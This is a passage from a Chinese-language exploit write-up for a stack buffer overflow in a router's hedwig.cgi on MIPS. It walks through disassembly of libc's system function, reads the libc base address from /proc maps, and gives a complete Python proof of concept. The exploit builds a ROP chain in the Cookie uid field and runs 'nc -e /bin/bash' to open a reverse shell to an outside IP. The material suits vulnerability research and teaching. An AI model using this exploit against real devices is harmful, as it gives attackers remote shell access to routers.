.text:000532E8 jalr $t9 ; signal
.text:000532EC move $a1, $zero
.text:000532F0 li $a0, 0x12
.text:000532F4 move $t9, $s1
.text:000532F8 jalr $t9 ; signal
.text:000532FC move $a1, $zero
.text:00053300 lw $gp, 0x48+var_30($sp)
.text:00053304 move $a3, $s5
.text:00053308 li $a0, 0x60000
.text:0005330C li $a1, 0x60000
.text:00053310 li $a2, 0x60000
.text:00053314 la $t9, execl
.text:00053318 addiu $a0, (aBinSh - 0x60000) # "/bin/sh"
.text:0005331C addiu $a1, (off_5A450 - 0x60000)
.text:00053320 addiu $a2, (off_5A454 - 0x60000)
.text:00053324 jalr $t9 ; execl
.text:00053328 sw $zero, 0x48+var_38($sp)
.text:0005332C lw $gp, 0x48+var_30($sp)
.text:00053330 la $t9, _exit
.text:00053334 jalr $t9 ; _exit
.text:00053338 li $a0, 0x7F
.text:0005333C
.text:0005333C loc_5333C: # CODE XREF: system:loc_532CC↑j
.text:0005333C move $t9, $s1
.text:00053340 jalr $t9 ; signal
.text:00053344 li $a1, 1
.text:00053348 li $a0, 2
.text:0005334C move $t9, $s1
.text:00053350 jalr $t9 ; signal
.text:00053354 li $a1, 1
.text:00053358 lw $gp, 0x48+var_30($sp)
.text:0005335C move $a0, $s0
.text:00053360 la $t9, wait4
.text:00053364 addiu $a1, $sp, 0x48+var_28
.text:00053368 move $a2, $zero
.text:0005336C jalr $t9 ; wait4
.text:00053370 move $a3, $zero
.text:00053374 move $v1, $v0
.text:00053378 li $v0, 0xFFFFFFFF
.text:0005337C bne $v1, $v0, loc_53388
.text:00053380 lw $gp, 0x48+var_30($sp)
.text:00053384 sw $v1, 0x48+var_28($sp)
.text:00053388
.text:00053388 loc_53388: # CODE XREF: system+17C↑j
.text:00053388 la $s0, signal
.text:0005338C move $a1, $s2
.text:00053390 move $t9, $s0
.text:00053394 jalr $t9 ; signal
.text:00053398 li $a0, 3
.text:0005339C move $a1, $s3
.text:000533A0 move $t9, $s0
.text:000533A4 jalr $t9 ; signal
.text:000533A8 li $a0, 2
.text:000533AC move $a1, $s4
.text:000533B0 move $t9, $s0
.text:000533B4 jalr $t9 ; signal
.text:000533B8 li $a0, 0x12
.text:000533BC lw $gp, 0x48+var_30($sp)
.text:000533C0 lw $v0, 0x48+var_28($sp)
.text:000533C4
.text:000533C4 loc_533C4: # CODE XREF: system+34↑j
.text:000533C4 # system+C4↑j
.text:000533C4 lw $ra, 0x48+var_4($sp)
.text:000533C8 lw $s5, 0x48+var_8($sp)
.text:000533CC lw $s4, 0x48+var_C($sp)
.text:000533D0 lw $s3, 0x48+var_10($sp)
.text:000533D4 lw $s2, 0x48+var_14($sp)
.text:000533D8 lw $s1, 0x48+var_18($sp)
.text:000533DC lw $s0, 0x48+var_1C($sp)
.text:000533E0 jr $ra
.text:000533E4 addiu $sp, 0x48
.text:000533E4 # End of function system
可以看到system以fork形式启动进程,并且当程序为子进程时跳转执行cmd:
.text:00053280 jalr $t9 ; fork
.text:00053284 move $s4, $v0
.text:00053288 bgez $v0, loc_532CC
loc_532CC->执行cmd
应该是qemu user mode内部原因,只能将程序模拟运行,无法复现这里,所以选择在MIPS虚拟机模拟的Web服务中复现,首先拿到libc.so.0的映射地址,可以选择这种方式:
cd /proc/
ls #确定下一个启动的程序的PID
/htdocs/web/hedwig.cgi & cat ./PID/maps #a & b->先执行a再执行b,无论a是否成功
For example:
root@debian-mipsel:/proc# /htdocs/web/hedwig.cgi&cat ./3688/maps
[1] 3688
00400000-0041c000 r-xp 00000000 08:01 228956 /htdocs/cgibin
0042c000-0042d000 rw-p 0001c000 08:01 228956 /htdocs/cgibin
0042d000-0042f000 rwxp 00000000 00:00 0 [heap]
2aaa8000-2aaad000 r-xp 00000000 08:01 547912 /lib/ld-uClibc-0.9.30.1.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aabc000-2aabd000 r--p 00004000 08:01 547912 /lib/ld-uClibc-0.9.30.1.so
2aabd000-2aabe000 rw-p 00005000 08:01 547912 /lib/ld-uClibc-0.9.30.1.so
2aabe000-2aae7000 r-xp 00000000 08:01 547913 /lib/libgcc_s.so.1
2aae7000-2aaf7000 ---p 00000000 00:00 0
2aaf7000-2aaf8000 rw-p 00029000 08:01 547913 /lib/libgcc_s.so.1
2aaf8000-2ab56000 r-xp 00000000 08:01 547915 /lib/libuClibc-0.9.30.1.so
2ab56000-2ab65000 ---p 00000000 00:00 0
2ab65000-2ab66000 r--p 0005d000 08:01 547915 /lib/libuClibc-0.9.30.1.so
2ab66000-2ab67000 rw-p 0005e000 08:01 547915 /lib/libuClibc-0.9.30.1.so
2ab67000-2ab6c000 rw-p 00000000 00:00 0
7fd0a000-7fd1f000 rwxp 00000000 00:00 0 [stack]
root@debian-mipsel:/proc# HTTP/1.1 200 OK
Content-Type: text/xml
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>
可以看到libc.so.0(链接:/lib/libuClibc-0.9.30.1.so)的加载基址为0x2aaf8000(正常路由环境和MIPS虚拟机中为了程序运行速度会取消canary,地址随机化等保护机制)
POC:
from pwn import *
import requests
import sys
def get_payload(offset,libc_addr,cmd):
payload="A"*offset #fill
payload+=p32(libc_addr+0x531ff) # $s0
payload+="A"*4 # $s1
payload+="A"*4 # $s2
payload+="A"*4 # $s3
payload+="A"*4 # $s4
payload+=p32(libc_addr+0x159cc) # $s5
payload+="A"*4 # $s6
payload+="A"*4 # $s7
payload+="A"*4 # $gp
payload+=p32(libc_addr+0x158c8) # $ra
payload+="A"*16 #fill
payload+=cmd # shellcode
return payload
if __name__=="__main__":
cmd="nc -e /bin/bash 192.168.160.131 1234" #填入本机IP&&监听端口(其他反弹shell命令总是不成功)
fake_cookie="uid="+get_payload(0x3cd,0x2aaf8000,cmd)
header = {
'Cookie' : fake_cookie,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length': '100'
}
data = {'uid':'kirin'}
ip_port=sys.argv[1]
url="http://"+ip_port+"/hedwig.cgi"
r=requests.post(url=url,headers=header,data=data)
log.info("Kirin-say PWN")
Run POC&&反弹get shell
MIPS虚拟机下开启路由器Web服务
在另一台虚拟机上:
python payload.py mips_ip:port
Get shell Successfully: